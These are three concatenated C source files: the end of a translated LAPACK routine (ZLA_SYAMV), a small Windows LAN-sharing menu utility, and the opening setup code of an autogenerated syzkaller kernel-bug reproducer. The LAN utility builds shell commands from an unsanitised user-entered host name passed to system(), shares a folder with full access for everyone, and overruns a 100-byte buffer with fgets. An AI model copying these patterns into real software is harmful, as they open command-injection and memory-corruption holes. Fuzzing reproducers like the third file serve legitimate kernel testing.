} else if (*lda < f2cmax(1,*n)) {
info = 5;
} else if (*incx == 0) {
info = 7;
} else if (*incy == 0) {
info = 10;
}
if (info != 0) {
xerbla_("ZLA_SYAMV", &info, (ftnlen)9);
return 0;
}
/* Quick return if possible. */
if (*n == 0 || *alpha == 0. && *beta == 1.) {
return 0;
}
/* Set up the start points in X and Y. */
if (*incx > 0) {
kx = 1;
} else {
kx = 1 - (*n - 1) * *incx;
}
if (*incy > 0) {
ky = 1;
} else {
ky = 1 - (*n - 1) * *incy;
}
/* Set SAFE1 essentially to be the underflow threshold times the */
/* number of additions in each row. */
safe1 = dlamch_("Safe minimum");
safe1 = (*n + 1) * safe1;
/* Form y := alpha*abs(A)*abs(x) + beta*abs(y). */
/* The O(N^2) SYMB_ZERO tests could be replaced by O(N) queries to */
/* the inexact flag. Still doesn't help change the iteration order */
/* to per-column. */
iy = ky;
if (*incx == 1) {
if (*uplo == ilauplo_("U")) {
i__1 = *n;
for (i__ = 1; i__ <= i__1; ++i__) {
if (*beta == 0.) {
symb_zero__ = TRUE_;
y[iy] = 0.;
} else if (y[iy] == 0.) {
symb_zero__ = TRUE_;
} else {
symb_zero__ = FALSE_;
y[iy] = *beta * (d__1 = y[iy], abs(d__1));
}
if (*alpha != 0.) {
i__2 = i__;
for (j = 1; j <= i__2; ++j) {
i__3 = j + i__ * a_dim1;
temp = (d__1 = a[i__3].r, abs(d__1)) + (d__2 = d_imag(
&a[j + i__ * a_dim1]), abs(d__2));
i__3 = j;
symb_zero__ = symb_zero__ && (x[i__3].r == 0. && x[
i__3].i == 0. || temp == 0.);
i__3 = j;
y[iy] += *alpha * ((d__1 = x[i__3].r, abs(d__1)) + (
d__2 = d_imag(&x[j]), abs(d__2))) * temp;
}
i__2 = *n;
for (j = i__ + 1; j <= i__2; ++j) {
i__3 = i__ + j * a_dim1;
temp = (d__1 = a[i__3].r, abs(d__1)) + (d__2 = d_imag(
&a[i__ + j * a_dim1]), abs(d__2));
i__3 = j;
symb_zero__ = symb_zero__ && (x[i__3].r == 0. && x[
i__3].i == 0. || temp == 0.);
i__3 = j;
y[iy] += *alpha * ((d__1 = x[i__3].r, abs(d__1)) + (
d__2 = d_imag(&x[j]), abs(d__2))) * temp;
}
}
if (! symb_zero__) {
y[iy] += d_sign(&safe1, &y[iy]);
}
iy += *incy;
}
} else {
i__1 = *n;
for (i__ = 1; i__ <= i__1; ++i__) {
if (*beta == 0.) {
symb_zero__ = TRUE_;
y[iy] = 0.;
} else if (y[iy] == 0.) {
symb_zero__ = TRUE_;
} else {
symb_zero__ = FALSE_;
y[iy] = *beta * (d__1 = y[iy], abs(d__1));
}
if (*alpha != 0.) {
i__2 = i__;
for (j = 1; j <= i__2; ++j) {
i__3 = i__ + j * a_dim1;
temp = (d__1 = a[i__3].r, abs(d__1)) + (d__2 = d_imag(
&a[i__ + j * a_dim1]), abs(d__2));
i__3 = j;
symb_zero__ = symb_zero__ && (x[i__3].r == 0. && x[
i__3].i == 0. || temp == 0.);
i__3 = j;
y[iy] += *alpha * ((d__1 = x[i__3].r, abs(d__1)) + (
d__2 = d_imag(&x[j]), abs(d__2))) * temp;
}
i__2 = *n;
for (j = i__ + 1; j <= i__2; ++j) {
i__3 = j + i__ * a_dim1;
temp = (d__1 = a[i__3].r, abs(d__1)) + (d__2 = d_imag(
&a[j + i__ * a_dim1]), abs(d__2));
i__3 = j;
symb_zero__ = symb_zero__ && (x[i__3].r == 0. && x[
i__3].i == 0. || temp == 0.);
i__3 = j;
y[iy] += *alpha * ((d__1 = x[i__3].r, abs(d__1)) + (
d__2 = d_imag(&x[j]), abs(d__2))) * temp;
}
}
if (! symb_zero__) {
y[iy] += d_sign(&safe1, &y[iy]);
}
iy += *incy;
}
}
} else {
if (*uplo == ilauplo_("U")) {
i__1 = *n;
for (i__ = 1; i__ <= i__1; ++i__) {
if (*beta == 0.) {
symb_zero__ = TRUE_;
y[iy] = 0.;
} else if (y[iy] == 0.) {
symb_zero__ = TRUE_;
} else {
symb_zero__ = FALSE_;
y[iy] = *beta * (d__1 = y[iy], abs(d__1));
}
jx = kx;
if (*alpha != 0.) {
i__2 = i__;
for (j = 1; j <= i__2; ++j) {
i__3 = j + i__ * a_dim1;
temp = (d__1 = a[i__3].r, abs(d__1)) + (d__2 = d_imag(
&a[j + i__ * a_dim1]), abs(d__2));
i__3 = j;
symb_zero__ = symb_zero__ && (x[i__3].r == 0. && x[
i__3].i == 0. || temp == 0.);
i__3 = jx;
y[iy] += *alpha * ((d__1 = x[i__3].r, abs(d__1)) + (
d__2 = d_imag(&x[jx]), abs(d__2))) * temp;
jx += *incx;
}
i__2 = *n;
for (j = i__ + 1; j <= i__2; ++j) {
i__3 = i__ + j * a_dim1;
temp = (d__1 = a[i__3].r, abs(d__1)) + (d__2 = d_imag(
&a[i__ + j * a_dim1]), abs(d__2));
i__3 = j;
symb_zero__ = symb_zero__ && (x[i__3].r == 0. && x[
i__3].i == 0. || temp == 0.);
i__3 = jx;
y[iy] += *alpha * ((d__1 = x[i__3].r, abs(d__1)) + (
d__2 = d_imag(&x[jx]), abs(d__2))) * temp;
jx += *incx;
}
}
if (! symb_zero__) {
y[iy] += d_sign(&safe1, &y[iy]);
}
iy += *incy;
}
} else {
i__1 = *n;
for (i__ = 1; i__ <= i__1; ++i__) {
if (*beta == 0.) {
symb_zero__ = TRUE_;
y[iy] = 0.;
} else if (y[iy] == 0.) {
symb_zero__ = TRUE_;
} else {
symb_zero__ = FALSE_;
y[iy] = *beta * (d__1 = y[iy], abs(d__1));
}
jx = kx;
if (*alpha != 0.) {
i__2 = i__;
for (j = 1; j <= i__2; ++j) {
i__3 = i__ + j * a_dim1;
temp = (d__1 = a[i__3].r, abs(d__1)) + (d__2 = d_imag(
&a[i__ + j * a_dim1]), abs(d__2));
i__3 = j;
symb_zero__ = symb_zero__ && (x[i__3].r == 0. && x[
i__3].i == 0. || temp == 0.);
i__3 = jx;
y[iy] += *alpha * ((d__1 = x[i__3].r, abs(d__1)) + (
d__2 = d_imag(&x[jx]), abs(d__2))) * temp;
jx += *incx;
}
i__2 = *n;
for (j = i__ + 1; j <= i__2; ++j) {
i__3 = j + i__ * a_dim1;
temp = (d__1 = a[i__3].r, abs(d__1)) + (d__2 = d_imag(
&a[j + i__ * a_dim1]), abs(d__2));
i__3 = j;
symb_zero__ = symb_zero__ && (x[i__3].r == 0. && x[
i__3].i == 0. || temp == 0.);
i__3 = jx;
y[iy] += *alpha * ((d__1 = x[i__3].r, abs(d__1)) + (
d__2 = d_imag(&x[jx]), abs(d__2))) * temp;
jx += *incx;
}
}
if (! symb_zero__) {
y[iy] += d_sign(&safe1, &y[iy]);
}
iy += *incy;
}
}
}
return 0;
/* End of ZLA_SYAMV */
} /* zla_syamv__ */
|
the_stack_data/218893673.c | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main (void) {
printf("test1\n");
char* charUsername;
char charPath[1000], charPathMainFolder[1000];
char charIn;
printf("test2\n");
charUsername = getenv( "USERNAME" );
sprintf(charPath ,"C:\\Users\\%s\\AppData\\Roaming\\.MrDjSoft\\Lan-Connector", charUsername);
sprintf(charPathMainFolder, "C:\\Users\\%s\\AppData\\Roaming\\.MrDjSoft", charUsername);
printf("%s\n", charPath);
start:
fflush(stdin);
mkdir( charPathMainFolder );
system("cls");
system("color 0a");
system("title LAN-Party Utilities By MrDj 2015");
printf("[1] Host\n");
printf("[2] Client\n");
printf("[3] Open last Connection(WIP)\n");
printf("[X] Kill Connection\n");
printf("[C] Close Programm\n");
printf("Eingabe: ");
scanf("%c", &charIn);
fflush(stdin);
switch( charIn ) {
case '1':
host();
break;
case '2':
client();
break;
case '3':
memory();
break;
case 'x':
kill();
break;
case 'X':
kill();
break;
case 'c':
killProgramm();
break;
case 'C':
killProgramm();
break;
case 'H':
easterEgg();
break;
default:
system("cls");
printf("Unknown Option: %c \n! Please try again!\n", charIn);
system("pause");
goto start;
break;
}
return (0);
}
int host (void) {
system("cls");
printf("Verzeichnis wird erstellt!\n");
if ( mkdir("C:\\Lan-Folder") == -1 ) {
printf("Verzeichnis gefunden!\n");
}
if ( mkdir("C:\\Lan-Folder") == 0 ) {
printf("Verzeichnis erstellt!\n\n");
}
system("net share LAN-DRIVE=C:\\Lan-Folder /GRANT:Jeder,FULL");
system("echo Bitte teile den Nutzern diesen Namen mit: ");
printf("\n\n");
printf("\n");
printf("######################################################\n");
printf("\n");
system("echo %computername%");
printf("\n");
printf("######################################################\n");
printf("\n");
system("pause");
main();
}
int client (void) {
char charHostName[100], command[1000],sCommandFile[1000], charPath[1000];
char* charUsername, charPathFolder;
system("cls");
printf("1");
charUsername = getenv( "USERNAME" );
printf("2");
sprintf(charPath ,"C:\\Users\\%s\\AppData\\Roaming\\.MrDjSoft\\Lan-Connector", charUsername);
printf("3");
system( "net use X: /delete" );
system( "cls" );
printf( "Enter the Name you get from the Host!\n" );
printf( "Input> " );
scanf( "%s", &charHostName );
sprintf( sCommandFile, "echo %s>%s\\Last.txt", charHostName, charPath );
mkdir( charPath );
system( sCommandFile );
system( "cls");
sprintf( command, "net use X: \\\\%s\\LAN-DRIVE", charHostName );
system( command );
printf( "Connected!\n" );
system( "pause" );
main();
}
int memory (void) {
char charHostName[100], command[1000],sCommandFile[1000], buf[100];
char charPath[100];
char* charPathFolder, charUsername;
charUsername = getenv( "USERNAME" );
system("cls");
printf("This feature is still WIP (Work-In-Progress)\n");
printf("1\n");
sprintf(charPath ,"C:\\Users\\%c\\AppData\\Roaming\\.MrDjSoft\\Lan-Connector\\Last.txt", charUsername);
printf("2\n");
printf("C:\\Users\\%c\\AppData\\Roaming\\.MrDjSoft\\Lan-Connector\\Last.txt", charUsername);
printf("3\n");
FILE *ptr_file;
printf("Existiert!");
printf("\n");
system("cls");
ptr_file = fopen("C:\\Users\\David\\AppData\\Roaming\\.MrDjSoft\\Lan-Connector\\Last.txt", "r");
printf("\n%c", charPath);
fgets(buf, 1000, ptr_file);
printf("\n");
printf("name: %s", buf);
sprintf( command, "net use X: \\\\%s\\LAN-DRIVE", buf );
system( command );
printf("%s", command );
printf("\n\n");
printf( "Connected!\n" );
system("pause");
main();
return -1;
}
int killProgramm(void) {
system("cls");
system("pause");
system("exit");
}
int kill(void) {
system("cls");
system("net use X: /delete");
system("pause");
main();
}
int easterEgg(void) {
int intTempVar = 15;
do {
intTempVar = intTempVar - 1;
system("color 0a");
system("color a0");
system("color 0a");
}while(intTempVar != 0 );
system("cls");
main();
}
|
the_stack_data/12636799.c | // SYZFAIL: wrong response packet
// https://syzkaller.appspot.com/bug?id=4adb81650eec3132de43
// status:0
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <pthread.h>
#include <sched.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <sys/mount.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include <linux/capability.h>
#include <linux/futex.h>
#include <linux/genetlink.h>
#include <linux/if_addr.h>
#include <linux/if_ether.h>
#include <linux/if_link.h>
#include <linux/if_tun.h>
#include <linux/in6.h>
#include <linux/ip.h>
#include <linux/neighbour.h>
#include <linux/net.h>
#include <linux/netlink.h>
#include <linux/rfkill.h>
#include <linux/rtnetlink.h>
#include <linux/tcp.h>
#include <linux/veth.h>
static unsigned long long procid;
static __thread int skip_segv;
static __thread jmp_buf segv_env;
static void segv_handler(int sig, siginfo_t* info, void* ctx)
{
uintptr_t addr = (uintptr_t)info->si_addr;
const uintptr_t prog_start = 1 << 20;
const uintptr_t prog_end = 100 << 20;
int skip = __atomic_load_n(&skip_segv, __ATOMIC_RELAXED) != 0;
int valid = addr < prog_start || addr > prog_end;
if (skip && valid) {
_longjmp(segv_env, 1);
}
exit(sig);
}
static void install_segv_handler(void)
{
struct sigaction sa;
memset(&sa, 0, sizeof(sa));
sa.sa_handler = SIG_IGN;
syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8);
syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8);
memset(&sa, 0, sizeof(sa));
sa.sa_sigaction = segv_handler;
sa.sa_flags = SA_NODEFER | SA_SIGINFO;
sigaction(SIGSEGV, &sa, NULL);
sigaction(SIGBUS, &sa, NULL);
}
#define NONFAILING(...) \
({ \
int ok = 1; \
__atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \
if (_setjmp(segv_env) == 0) { \
__VA_ARGS__; \
} else \
ok = 0; \
__atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \
ok; \
})
static void sleep_ms(uint64_t ms)
{
usleep(ms * 1000);
}
static uint64_t current_time_ms(void)
{
struct timespec ts;
if (clock_gettime(CLOCK_MONOTONIC, &ts))
exit(1);
return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}
static void use_temporary_dir(void)
{
char tmpdir_template[] = "./syzkaller.XXXXXX";
char* tmpdir = mkdtemp(tmpdir_template);
if (!tmpdir)
exit(1);
if (chmod(tmpdir, 0777))
exit(1);
if (chdir(tmpdir))
exit(1);
}
static void thread_start(void* (*fn)(void*), void* arg)
{
pthread_t th;
pthread_attr_t attr;
pthread_attr_init(&attr);
pthread_attr_setstacksize(&attr, 128 << 10);
int i = 0;
for (; i < 100; i++) {
if (pthread_create(&th, &attr, fn, arg) == 0) {
pthread_attr_destroy(&attr);
return;
}
if (errno == EAGAIN) {
usleep(50);
continue;
}
break;
}
exit(1);
}
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (ev->state)
exit(1);
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
static int event_isset(event_t* ev)
{
return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}
static int event_timedwait(event_t* ev, uint64_t timeout)
{
uint64_t start = current_time_ms();
uint64_t now = start;
for (;;) {
uint64_t remain = timeout - (now - start);
struct timespec ts;
ts.tv_sec = remain / 1000;
ts.tv_nsec = (remain % 1000) * 1000 * 1000;
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
return 1;
now = current_time_ms();
if (now - start > timeout)
return 0;
}
}
static bool write_file(const char* file, const char* what, ...)
{
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
int err = errno;
close(fd);
errno = err;
return false;
}
close(fd);
return true;
}
struct nlmsg {
char* pos;
int nesting;
struct nlattr* nested[8];
char buf[4096];
};
static void netlink_init(struct nlmsg* nlmsg, int typ, int flags,
const void* data, int size)
{
memset(nlmsg, 0, sizeof(*nlmsg));
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_type = typ;
hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags;
memcpy(hdr + 1, data, size);
nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size);
}
static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data,
int size)
{
struct nlattr* attr = (struct nlattr*)nlmsg->pos;
attr->nla_len = sizeof(*attr) + size;
attr->nla_type = typ;
if (size > 0)
memcpy(attr + 1, data, size);
nlmsg->pos += NLMSG_ALIGN(attr->nla_len);
}
static void netlink_nest(struct nlmsg* nlmsg, int typ)
{
struct nlattr* attr = (struct nlattr*)nlmsg->pos;
attr->nla_type = typ;
nlmsg->pos += sizeof(*attr);
nlmsg->nested[nlmsg->nesting++] = attr;
}
static void netlink_done(struct nlmsg* nlmsg)
{
struct nlattr* attr = nlmsg->nested[--nlmsg->nesting];
attr->nla_len = nlmsg->pos - (char*)attr;
}
static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type,
int* reply_len, bool dofail)
{
if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting)
exit(1);
struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf;
hdr->nlmsg_len = nlmsg->pos - nlmsg->buf;
struct sockaddr_nl addr;
memset(&addr, 0, sizeof(addr));
addr.nl_family = AF_NETLINK;
ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0,
(struct sockaddr*)&addr, sizeof(addr));
if (n != (ssize_t)hdr->nlmsg_len) {
if (dofail)
exit(1);
return -1;
}
n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
if (reply_len)
*reply_len = 0;
if (n < 0) {
if (dofail)
exit(1);
return -1;
}
if (n < (ssize_t)sizeof(struct nlmsghdr)) {
errno = EINVAL;
if (dofail)
exit(1);
return -1;
}
if (hdr->nlmsg_type == NLMSG_DONE)
return 0;
if (reply_len && hdr->nlmsg_type == reply_type) {
*reply_len = n;
return 0;
}
if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) {
errno = EINVAL;
if (dofail)
exit(1);
return -1;
}
if (hdr->nlmsg_type != NLMSG_ERROR) {
errno = EINVAL;
if (dofail)
exit(1);
return -1;
}
errno = -((struct nlmsgerr*)(hdr + 1))->error;
return -errno;
}
static int netlink_send(struct nlmsg* nlmsg, int sock)
{
return netlink_send_ext(nlmsg, sock, 0, NULL, true);
}
static int netlink_query_family_id(struct nlmsg* nlmsg, int sock,
const char* family_name, bool dofail)
{
struct genlmsghdr genlhdr;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = CTRL_CMD_GETFAMILY;
netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, family_name,
strnlen(family_name, GENL_NAMSIZ - 1) + 1);
int n = 0;
int err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n, dofail);
if (err < 0) {
return -1;
}
uint16_t id = 0;
struct nlattr* attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg->buf + n;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
id = *(uint16_t*)(attr + 1);
break;
}
}
if (!id) {
errno = EINVAL;
return -1;
}
recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0);
return id;
}
static int netlink_next_msg(struct nlmsg* nlmsg, unsigned int offset,
unsigned int total_len)
{
struct nlmsghdr* hdr = (struct nlmsghdr*)(nlmsg->buf + offset);
if (offset == total_len || offset + hdr->nlmsg_len > total_len)
return -1;
return hdr->nlmsg_len;
}
static void netlink_add_device_impl(struct nlmsg* nlmsg, const char* type,
const char* name)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
netlink_init(nlmsg, RTM_NEWLINK, NLM_F_EXCL | NLM_F_CREATE, &hdr,
sizeof(hdr));
if (name)
netlink_attr(nlmsg, IFLA_IFNAME, name, strlen(name));
netlink_nest(nlmsg, IFLA_LINKINFO);
netlink_attr(nlmsg, IFLA_INFO_KIND, type, strlen(type));
}
static void netlink_add_device(struct nlmsg* nlmsg, int sock, const char* type,
const char* name)
{
netlink_add_device_impl(nlmsg, type, name);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static void netlink_add_veth(struct nlmsg* nlmsg, int sock, const char* name,
const char* peer)
{
netlink_add_device_impl(nlmsg, "veth", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_nest(nlmsg, VETH_INFO_PEER);
nlmsg->pos += sizeof(struct ifinfomsg);
netlink_attr(nlmsg, IFLA_IFNAME, peer, strlen(peer));
netlink_done(nlmsg);
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static void netlink_add_hsr(struct nlmsg* nlmsg, int sock, const char* name,
const char* slave1, const char* slave2)
{
netlink_add_device_impl(nlmsg, "hsr", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
int ifindex1 = if_nametoindex(slave1);
netlink_attr(nlmsg, IFLA_HSR_SLAVE1, &ifindex1, sizeof(ifindex1));
int ifindex2 = if_nametoindex(slave2);
netlink_attr(nlmsg, IFLA_HSR_SLAVE2, &ifindex2, sizeof(ifindex2));
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static void netlink_add_linked(struct nlmsg* nlmsg, int sock, const char* type,
const char* name, const char* link)
{
netlink_add_device_impl(nlmsg, type, name);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static void netlink_add_vlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link, uint16_t id, uint16_t proto)
{
netlink_add_device_impl(nlmsg, "vlan", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_VLAN_ID, &id, sizeof(id));
netlink_attr(nlmsg, IFLA_VLAN_PROTOCOL, &proto, sizeof(proto));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static void netlink_add_macvlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link)
{
netlink_add_device_impl(nlmsg, "macvlan", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
uint32_t mode = MACVLAN_MODE_BRIDGE;
netlink_attr(nlmsg, IFLA_MACVLAN_MODE, &mode, sizeof(mode));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static void netlink_add_geneve(struct nlmsg* nlmsg, int sock, const char* name,
uint32_t vni, struct in_addr* addr4,
struct in6_addr* addr6)
{
netlink_add_device_impl(nlmsg, "geneve", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_GENEVE_ID, &vni, sizeof(vni));
if (addr4)
netlink_attr(nlmsg, IFLA_GENEVE_REMOTE, addr4, sizeof(*addr4));
if (addr6)
netlink_attr(nlmsg, IFLA_GENEVE_REMOTE6, addr6, sizeof(*addr6));
netlink_done(nlmsg);
netlink_done(nlmsg);
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
#define IFLA_IPVLAN_FLAGS 2
#define IPVLAN_MODE_L3S 2
#undef IPVLAN_F_VEPA
#define IPVLAN_F_VEPA 2
static void netlink_add_ipvlan(struct nlmsg* nlmsg, int sock, const char* name,
const char* link, uint16_t mode, uint16_t flags)
{
netlink_add_device_impl(nlmsg, "ipvlan", name);
netlink_nest(nlmsg, IFLA_INFO_DATA);
netlink_attr(nlmsg, IFLA_IPVLAN_MODE, &mode, sizeof(mode));
netlink_attr(nlmsg, IFLA_IPVLAN_FLAGS, &flags, sizeof(flags));
netlink_done(nlmsg);
netlink_done(nlmsg);
int ifindex = if_nametoindex(link);
netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex));
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static void netlink_device_change(struct nlmsg* nlmsg, int sock,
const char* name, bool up, const char* master,
const void* mac, int macsize,
const char* new_name)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
if (up)
hdr.ifi_flags = hdr.ifi_change = IFF_UP;
hdr.ifi_index = if_nametoindex(name);
netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr));
if (new_name)
netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name));
if (master) {
int ifindex = if_nametoindex(master);
netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex));
}
if (macsize)
netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize);
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static int netlink_add_addr(struct nlmsg* nlmsg, int sock, const char* dev,
const void* addr, int addrsize)
{
struct ifaddrmsg hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.ifa_family = addrsize == 4 ? AF_INET : AF_INET6;
hdr.ifa_prefixlen = addrsize == 4 ? 24 : 120;
hdr.ifa_scope = RT_SCOPE_UNIVERSE;
hdr.ifa_index = if_nametoindex(dev);
netlink_init(nlmsg, RTM_NEWADDR, NLM_F_CREATE | NLM_F_REPLACE, &hdr,
sizeof(hdr));
netlink_attr(nlmsg, IFA_LOCAL, addr, addrsize);
netlink_attr(nlmsg, IFA_ADDRESS, addr, addrsize);
return netlink_send(nlmsg, sock);
}
static void netlink_add_addr4(struct nlmsg* nlmsg, int sock, const char* dev,
const char* addr)
{
struct in_addr in_addr;
inet_pton(AF_INET, addr, &in_addr);
int err = netlink_add_addr(nlmsg, sock, dev, &in_addr, sizeof(in_addr));
if (err < 0) {
}
}
static void netlink_add_addr6(struct nlmsg* nlmsg, int sock, const char* dev,
const char* addr)
{
struct in6_addr in6_addr;
inet_pton(AF_INET6, addr, &in6_addr);
int err = netlink_add_addr(nlmsg, sock, dev, &in6_addr, sizeof(in6_addr));
if (err < 0) {
}
}
static void netlink_add_neigh(struct nlmsg* nlmsg, int sock, const char* name,
const void* addr, int addrsize, const void* mac,
int macsize)
{
struct ndmsg hdr;
memset(&hdr, 0, sizeof(hdr));
hdr.ndm_family = addrsize == 4 ? AF_INET : AF_INET6;
hdr.ndm_ifindex = if_nametoindex(name);
hdr.ndm_state = NUD_PERMANENT;
netlink_init(nlmsg, RTM_NEWNEIGH, NLM_F_EXCL | NLM_F_CREATE, &hdr,
sizeof(hdr));
netlink_attr(nlmsg, NDA_DST, addr, addrsize);
netlink_attr(nlmsg, NDA_LLADDR, mac, macsize);
int err = netlink_send(nlmsg, sock);
if (err < 0) {
}
}
static struct nlmsg nlmsg;
static int tunfd = -1;
#define TUN_IFACE "syz_tun"
#define LOCAL_MAC 0xaaaaaaaaaaaa
#define REMOTE_MAC 0xaaaaaaaaaabb
#define LOCAL_IPV4 "172.20.20.170"
#define REMOTE_IPV4 "172.20.20.187"
#define LOCAL_IPV6 "fe80::aa"
#define REMOTE_IPV6 "fe80::bb"
#define IFF_NAPI 0x0010
static void initialize_tun(void)
{
tunfd = open("/dev/net/tun", O_RDWR | O_NONBLOCK);
if (tunfd == -1) {
printf("tun: can't open /dev/net/tun: please enable CONFIG_TUN=y\n");
printf("otherwise fuzzing or reproducing might not work as intended\n");
return;
}
const int kTunFd = 240;
if (dup2(tunfd, kTunFd) < 0)
exit(1);
close(tunfd);
tunfd = kTunFd;
struct ifreq ifr;
memset(&ifr, 0, sizeof(ifr));
strncpy(ifr.ifr_name, TUN_IFACE, IFNAMSIZ);
ifr.ifr_flags = IFF_TAP | IFF_NO_PI;
if (ioctl(tunfd, TUNSETIFF, (void*)&ifr) < 0) {
exit(1);
}
char sysctl[64];
sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/accept_dad", TUN_IFACE);
write_file(sysctl, "0");
sprintf(sysctl, "/proc/sys/net/ipv6/conf/%s/router_solicitations", TUN_IFACE);
write_file(sysctl, "0");
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
netlink_add_addr4(&nlmsg, sock, TUN_IFACE, LOCAL_IPV4);
netlink_add_addr6(&nlmsg, sock, TUN_IFACE, LOCAL_IPV6);
uint64_t macaddr = REMOTE_MAC;
struct in_addr in_addr;
inet_pton(AF_INET, REMOTE_IPV4, &in_addr);
netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in_addr, sizeof(in_addr),
&macaddr, ETH_ALEN);
struct in6_addr in6_addr;
inet_pton(AF_INET6, REMOTE_IPV6, &in6_addr);
netlink_add_neigh(&nlmsg, sock, TUN_IFACE, &in6_addr, sizeof(in6_addr),
&macaddr, ETH_ALEN);
macaddr = LOCAL_MAC;
netlink_device_change(&nlmsg, sock, TUN_IFACE, true, 0, &macaddr, ETH_ALEN,
NULL);
close(sock);
}
#define DEVLINK_FAMILY_NAME "devlink"
#define DEVLINK_CMD_PORT_GET 5
#define DEVLINK_ATTR_BUS_NAME 1
#define DEVLINK_ATTR_DEV_NAME 2
#define DEVLINK_ATTR_NETDEV_NAME 7
static struct nlmsg nlmsg2;
static void initialize_devlink_ports(const char* bus_name, const char* dev_name,
const char* netdev_prefix)
{
struct genlmsghdr genlhdr;
int len, total_len, id, err, offset;
uint16_t netdev_index;
